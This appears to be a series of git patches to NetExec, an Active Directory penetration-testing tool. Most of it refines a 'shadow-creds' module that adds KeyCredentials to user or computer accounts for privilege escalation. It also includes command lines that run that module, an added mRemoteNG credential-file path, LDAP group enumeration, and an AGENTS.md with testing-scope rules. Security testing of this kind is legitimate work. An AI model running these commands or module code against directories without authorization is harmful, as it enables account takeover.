LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json +# These actions require the generated device ID for an automated round trip. #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID From 33080a917cfd2faeeb3127c908e4372d403f1bd0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:43:06 -0400 Subject: [PATCH 203/397] Just export raw ldap value to bypass dsinternals issues --- nxc/modules/shadow-creds.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index d6e31571ce..d90d72a8e7 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -202,18 +202,10 @@ def remove(self, target_dn, credentials): self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") def backup(self, raw_values): - key_credentials = [] - for raw_value in raw_values: - try: - key_credentials.append(KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())).toDict()) - except Exception as e: - self.context.log.fail(f"Could not serialize an existing KeyCredential, preserving its raw value: {e}") - key_credentials.append(raw_value) - output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4), encoding="utf-8") - self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") + output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8") + self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}") def revert(self, target_dn): try: From 8943e65a9ebc85696ee6a4696011abaa00fa89b1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:47:37 -0400 Subject: [PATCH 204/397] Improve info output --- nxc/modules/shadow-creds.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index d90d72a8e7..0fae005703 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -174,15 +174,23 @@ def info(self, credentials): _, credential = result self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") for name, value in { - "Device ID": credential.DeviceId.toFormatD().lower(), "Owner": credential.Owner, - "Version": getattr(credential.Version, "value", credential.Version), - "Identifier": credential.Identifier, - "Usage": getattr(credential.Usage, "name", credential.Usage), - "Source": getattr(credential.Source, "name", credential.Source), - "Creation time": credential.CreationTime, + "Version": hex(credential.Version.value), + "Key ID": credential.Identifier, + "Key hash": credential.KeyHash.hex(), "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"), - "Public exponent": getattr(credential.RawKeyMaterial, "exponent", "unknown"), + " Exponent (E)": credential.RawKeyMaterial.exponent, + " Modulus (N)": hex(credential.RawKeyMaterial.modulus), + " Prime 1 (P)": hex(credential.RawKeyMaterial.prime1), + " Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2), + "Usage": credential.Usage, + "Legacy usage": credential.LegacyUsage, + "Source": credential.Source, + "Device ID": credential.DeviceId.toFormatD().lower(), + "Custom key info": credential.CustomKeyInfo, + **{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()}, + "Last logon time": credential.LastLogonTime, + "Creation time": credential.CreationTime, }.items(): self.context.log.highlight(f"{name:<17} {value}") From 32e6d5a8b75cf598c5c0465a6ea22cba6b611d3b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:47:48 -0400 Subject: [PATCH 205/397] Display Device ID first --- nxc/modules/shadow-creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 0fae005703..04925f7668 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -175,6 +175,7 @@ def info(self, credentials): self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") for name, value in { "Owner": credential.Owner, + "Device ID": credential.DeviceId.toFormatD().lower(), "Version": hex(credential.Version.value), "Key ID": credential.Identifier, "Key hash": credential.KeyHash.hex(), @@ -186,7 +187,6 @@ def info(self, credentials): "Usage": credential.Usage, "Legacy usage": credential.LegacyUsage, "Source": credential.Source, - "Device ID": credential.DeviceId.toFormatD().lower(), "Custom key info": credential.CustomKeyInfo, **{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()}, "Last logon time": credential.LastLogonTime, From 1b30d2ed018e86b66722ef048a784a48c8a1fde9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:52:13 -0400 Subject: [PATCH 206/397] Allow non-computer accounts --- nxc/modules/shadow-creds.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 04925f7668..8fee0471f0 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -24,13 +24,13 @@ class NXCModule: """ name = "shadow-creds" - description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a computer" + description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a user or computer" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ - TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) + TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$) ACTION Action to perform: list, add, info, remove, backup, or revert (default: list) DEVICE_ID KeyCredential device ID; required for info and remove JSONFILE JSON backup path; required for revert and optional for backup @@ -66,12 +66,12 @@ def on_login(self, context, connection): self.connection = connection resp = connection.search( - searchFilter=f"(&(objectClass=computer)(sAMAccountName={self.target}))", - attributes=["distinguishedName", "sAMAccountName", "msDS-KeyCredentialLink"], + searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))", + attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"], ) resp_parsed = parse_result_attributes(resp) if not resp_parsed: - context.log.fail(f"Computer '{self.target}' was not found") + context.log.fail(f"Account '{self.target}' was not found") return target_dn = resp_parsed[0]["distinguishedName"] @@ -81,7 +81,7 @@ def on_login(self, context, connection): if self.action == "list": self.list(self.parse_credentials(raw_values)) elif self.action == "add": - self.add(target_dn) + self.add(target_dn, "computer" in resp_parsed[0]["objectClass"]) elif self.action == "info": self.info(self.parse_credentials(raw_values)) elif self.action == "remove": @@ -122,7 +122,7 @@ def list(self, credentials): for _, credential in credentials: self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else ''} | Creation time: {credential.CreationTime}") - def add(self, target_dn): + def add(self, target_dn, is_computer): try: certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365) credential = KeyCredential.fromX509Certificate2( @@ -130,7 +130,7 @@ def add(self, target_dn): deviceId=Guid(), owner=target_dn, currentTime=DateTime(), - isComputerKey=True, + isComputerKey=is_computer, ) device_id = credential.DeviceId.toFormatD().lower() ldap_value = credential.toDNWithBinary().toString() From a5b525037aa248140f190f98b9d93611925070ff Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Aug 2026 09:43:41 +0200 Subject: [PATCH 207/397] Fix string comparison on DeviceID --- nxc/modules/shadow-creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 8fee0471f0..6967910408 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -108,7 +108,7 @@ def parse_credentials(self, raw_values): def get_credential(self, credentials): for raw_value, credential in credentials: - if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id: + if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower(): return raw_value, credential self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}") return None From e0a3f1a1dba8cf49659fb8ac9f9689acfe5845f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Aug 2026 09:51:01 +0200 Subject: [PATCH 208/397] Restrict exception handling to LDAPSessionError caused by unsifficient privs --- nxc/modules/shadow-creds.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 6967910408..c294a5b413 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -9,7 +9,7 @@ from dsinternals.common.data.hello.KeyCredential import KeyCredential from dsinternals.system.DateTime import DateTime from dsinternals.system.Guid import Guid -from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -142,7 +142,7 @@ def add(self, target_dn, is_computer): try: # Add one value instead of replacing the complete multi-valued attribute. self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]}) - except Exception as e: + except LDAPSessionError as e: self.context.log.fail(f"Failed to add the KeyCredential: {e}") self.context.log.display(f"Generated PFX retained at {output_path}") return @@ -203,7 +203,7 @@ def remove(self, target_dn, credentials): try: # Delete the exact raw value so neighboring credentials remain untouched. self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]}) - except Exception as e: + except LDAPSessionError as e: self.context.log.fail(f"Failed to remove the KeyCredential: {e}") return From 40c4c124b3e169ea79362a594477a249d4322352 Mon Sep 17 00:00:00 2001 From: amikuss Date: Thu, 20 Aug 2026 09:52:08 +0200 Subject: [PATCH 209/397] refactor(ldap): split all-groups/specific-group search logic --- nxc/protocols/ldap.py | 48 +++++++++++++++++++------------------------ 1 file changed, 21 insertions(+), 27 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 795caf1b03..006a5f2f18 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -744,12 +744,11 @@ def users_export(self): self.users() def groups(self): - # Building the search filter + # Group specific member search if self.args.groups: self.logger.debug(f"Dumping group: {self.args.groups}") # Resolve group DN and primaryGroupID (objectSid) and member attribute - # This to include users which do not have a populated memberOf backlink group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"]) group_parsed = parse_result_attributes(group_resp) @@ -763,15 +762,10 @@ def groups(self): search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] - else: - search_filter = "(objectCategory=group)" - attributes = ["cn", "member", "description"] - - resp = self.search(search_filter, attributes) - resp_parsed = parse_result_attributes(resp) - self.logger.debug(f"Total of records returned {len(resp_parsed)}") + resp = self.search(search_filter, attributes) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed)}") - if self.args.groups: # Fall back to the group's member attribute for any DN the # memberOf/primaryGroupID search above didn't already return group_members = group.get("member", []) @@ -781,23 +775,14 @@ def groups(self): member_attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] if group_members: - original_scope = self.scope - try: - self.scope = ldapasn1_impacket.Scope("baseObject") - for member_dn in group_members: - try: - member_resp = self.search("(objectClass=*)", member_attributes, baseDN=member_dn) - except Exception as e: - self.logger.debug(f"Failed to resolve member DN '{member_dn}': {e}") - member_resp = [] - - member_parsed = parse_result_attributes(member_resp) - if member_parsed: - resp_parsed.append(member_parsed[0]) - else: - self.logger.debug(f"Could not resolve group member DN: {member_dn}") - finally: - self.scope = original_scope + for member_dn in group_members: + member_resp = self.search("(objectClass=*)", member_attributes, baseDN=member_dn) + member_parsed = parse_result_attributes(member_resp) + + if member_parsed: + resp_parsed.append(member_parsed[0]) + else: + self.logger.debug(f"Could not resolve group member DN: {member_dn}") deduped = {} for item in resp_parsed: @@ -813,7 +798,16 @@ def groups(self): # Display sAMAccountName or CN if sAMAccountName not present (could be a group) # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names) self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"]) + + # List all groups else: + search_filter = "(objectCategory=group)" + attributes = ["cn", "member", "description"] + + resp = self.search(search_filter, attributes) + resp_parsed = parse_result_attributes(resp) + self.logger.debug(f"Total of records returned {len(resp_parsed)}") + # Display all groups self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") for item in resp_parsed: From 676361ae8ce0d090b161379f15b41e193585d27e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:07:25 -0400 Subject: [PATCH 210/397] Add AGENTS.md file for guiding agents --- AGENTS.md | 42 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 AGENTS.md diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000000..b1f9bd5f07 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,42 @@ +# Authorized testing scope + +- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target. +- Treat the exact targets or ranges provided by the user as the complete authorized scope. +- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope. +- Repository instructions do not grant authorization to test any third-party system. + +# Coding style + +- Only assign an expression to a variable when that variable will be reassigned later; otherwise, use the expression directly. +- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`. +- Always bind caught exceptions as `e`, not `error` or another name. +- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`. +- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system. + +# NetExec module structure + +- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope. +- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class. +- Module scope should contain only imports and the `NXCModule` class definition. +- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`. +- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation. +- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result. +- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state. +- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate. +- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together. +- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails. +- Run `ruff check .` after every coding session. + +# Development and validation + +- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks. +- Record every module-verification command in `e2e_commands.txt`. +- Do not run compilation checks. +- Run Ruff after completing a coding session. + +# Filesystem and source conventions + +- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested. +- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default. +- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`. +- Place imports at the top of files unless explicitly instructed otherwise. From ccfaf5852c0b6c2ca76d5512016d4b44f3d7739e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:23:32 -0400 Subject: [PATCH 211/397] Remove overrestrictive instruction --- AGENTS.md | 1 - 1 file changed, 1 deletion(-) diff --git a/AGENTS.md b/AGENTS.md index b1f9bd5f07..f623b12f0a 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -7,7 +7,6 @@ # Coding style -- Only assign an expression to a variable when that variable will be reassigned later; otherwise, use the expression directly. - Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`. - Always bind caught exceptions as `e`, not `error` or another name. - Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`. From 60aab5c60de53e8654e18f939cc54f49fe14c097 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:28:30 -0400 Subject: [PATCH 212/397] Don't manually exit, but return False for invalid module options --- nxc/modules/shadow-creds.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index c294a5b413..02b1cfa287 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -50,16 +50,16 @@ def options(self, context, module_options): if not self.target: context.log.fail("TARGET is required") - exit(1) + return False if self.action not in {"list", "add", "info", "remove", "backup", "revert"}: context.log.fail("ACTION must be one of: list, add, info, remove, backup, revert") - exit(1) + return False if self.action in {"info", "remove"} and not self.device_id: context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") - exit(1) + return False if self.action == "revert" and not self.jsonfile: context.log.fail("JSONFILE is required for ACTION=revert") - exit(1) + return False def on_login(self, context, connection): self.context = context From 8fbadf4d0fd2691375a69ca0aed1443f4dbdb62a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:30:42 -0400 Subject: [PATCH 213/397] Remove unused import --- nxc/modules/shadow-creds.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 02b1cfa287..1210031ad6 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -1,6 +1,5 @@ import json from pathlib import Path -from sys import exit from cryptography.hazmat.primitives.serialization import NoEncryption from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates From 79e14ea61e29acadbd296c77e974b06b878736e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 08:35:43 -0400 Subject: [PATCH 214/397] Update lock file --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index a3f2b1d256..c3923f5992 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2958,4 +2958,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "378d5ebfb18c00f770178241d9688753fd19a095176b32fde14150a03e803329" +content-hash = "30dc20bd419b68e80450d70f66b68f526e3808464cba8b56416fa4437fcd7ef4" From d4ee81fa3ffad30ce61279c077991d6b9de19bbe Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 08:36:12 -0400 Subject: [PATCH 215/397] Update lock file --- uv.lock | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) diff --git a/uv.lock b/uv.lock index 703e2d2900..a6bebdc492 100644 --- a/uv.lock +++ b/uv.lock @@ -746,17 +746,15 @@ wheels = [ [[package]] name = "dploot" -version = "3.2.2" -source = { registry = "https://pypi.org/simple" } +version = "4.0.0" +source = { git = "https://github.com/zblurx/dploot.git?rev=network_proto_upgrade#603059633b88b4735f9df377fd56d8d7b1b38dee" } dependencies = [ { name = "cryptography" }, { name = "impacket" }, { name = "lxml" }, + { name = "pick" }, { name = "pyasn1" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" }, + { name = "pypsrp" }, ] [[package]] @@ -1409,7 +1407,7 @@ requires-dist = [ { name = "certihound", specifier = ">=0.1.1" }, { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, { name = "cryptography", specifier = ">=42.0.8" }, - { name = "dploot", specifier = ">=3.2.2" }, + { name = "dploot", git = "https://github.com/zblurx/dploot.git?rev=network_proto_upgrade" }, { name = "dsinternals", specifier = ">=1.2.4" }, { name = "impacket", git = "https://github.com/fortra/impacket" }, { name = "jwt", specifier = ">=1.3.1" }, @@ -1487,6 +1485,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" }, ] +[[package]] +name = "pick" +version = "2.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "windows-curses", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" }, +] + [[package]] name = "pillow" version = "12.3.0" @@ -2365,6 +2375,23 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" }, ] +[[package]] +name = "windows-curses" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" }, + { url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" }, + { url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" }, + { url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" }, + { url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" }, + { url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" }, + { url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" }, + { url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" }, + { url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" }, +] + [[package]] name = "xmltodict" version = "1.0.4" From b5da832c317bcc44c2850fe314f06410c52c3848 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 09:42:51 -0400 Subject: [PATCH 216/397] Add legacy path for mremoteng conf files --- nxc/modules/mremoteng.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index a73a97d273..893e7e8900 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -40,6 +40,7 @@ def __init__(self, context=None, module_options=None): self.mRemoteNg_path = [ "Users\\{username}\\AppData\\Local\\mRemoteNG", "Users\\{username}\\AppData\\Roaming\\mRemoteNG", + "Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager", ] self.custom_user_path = [ From 35bf9d183eba476c0f9ad6c845ac85e3dec7c5c5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 09:44:49 -0400 Subject: [PATCH 217/397] Fix linting --- nxc/helpers/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 82cda7b5bb..649c9d7da7 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -326,7 +326,7 @@ def firefox_callback(secret): # The dpapi function for every protocol def triage_dpapi(self): # Get the handle of the output file, this will be use by every triage functions to write looted secrets in there - self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + self.output_file = open(self.context.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler] # Load masterkeys masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) From 2c44f785ec669d9c8a2d069f6de61c6df276029e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 24 Aug 2026 08:03:48 +0200 Subject: [PATCH 218/397] Name full path --- AGENTS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/AGENTS.md b/AGENTS.md index f623b12f0a..21f4d620d7 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -29,7 +29,7 @@ # Development and validation - To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks. -- Record every module-verification command in `e2e_commands.txt`. +- Record every module-verification command in `tests/e2e_commands.txt`. - Do not run compilation checks. - Run Ruff after completing a coding session. From b7ba0f929e173c6c0c462f504d9f1542676bbe77 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 24 Aug 2026 17:16:18 -0400 Subject: [PATCH 219/397] Adjust query such that we don't query all objects and don't fail on external references --- nxc/protocols/ldap.py | 43 ++++++++++++++++++++----------------------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 42fa65a299..e781b0ba59 100644 --- a/nxc/protocols/ldap.py +++ 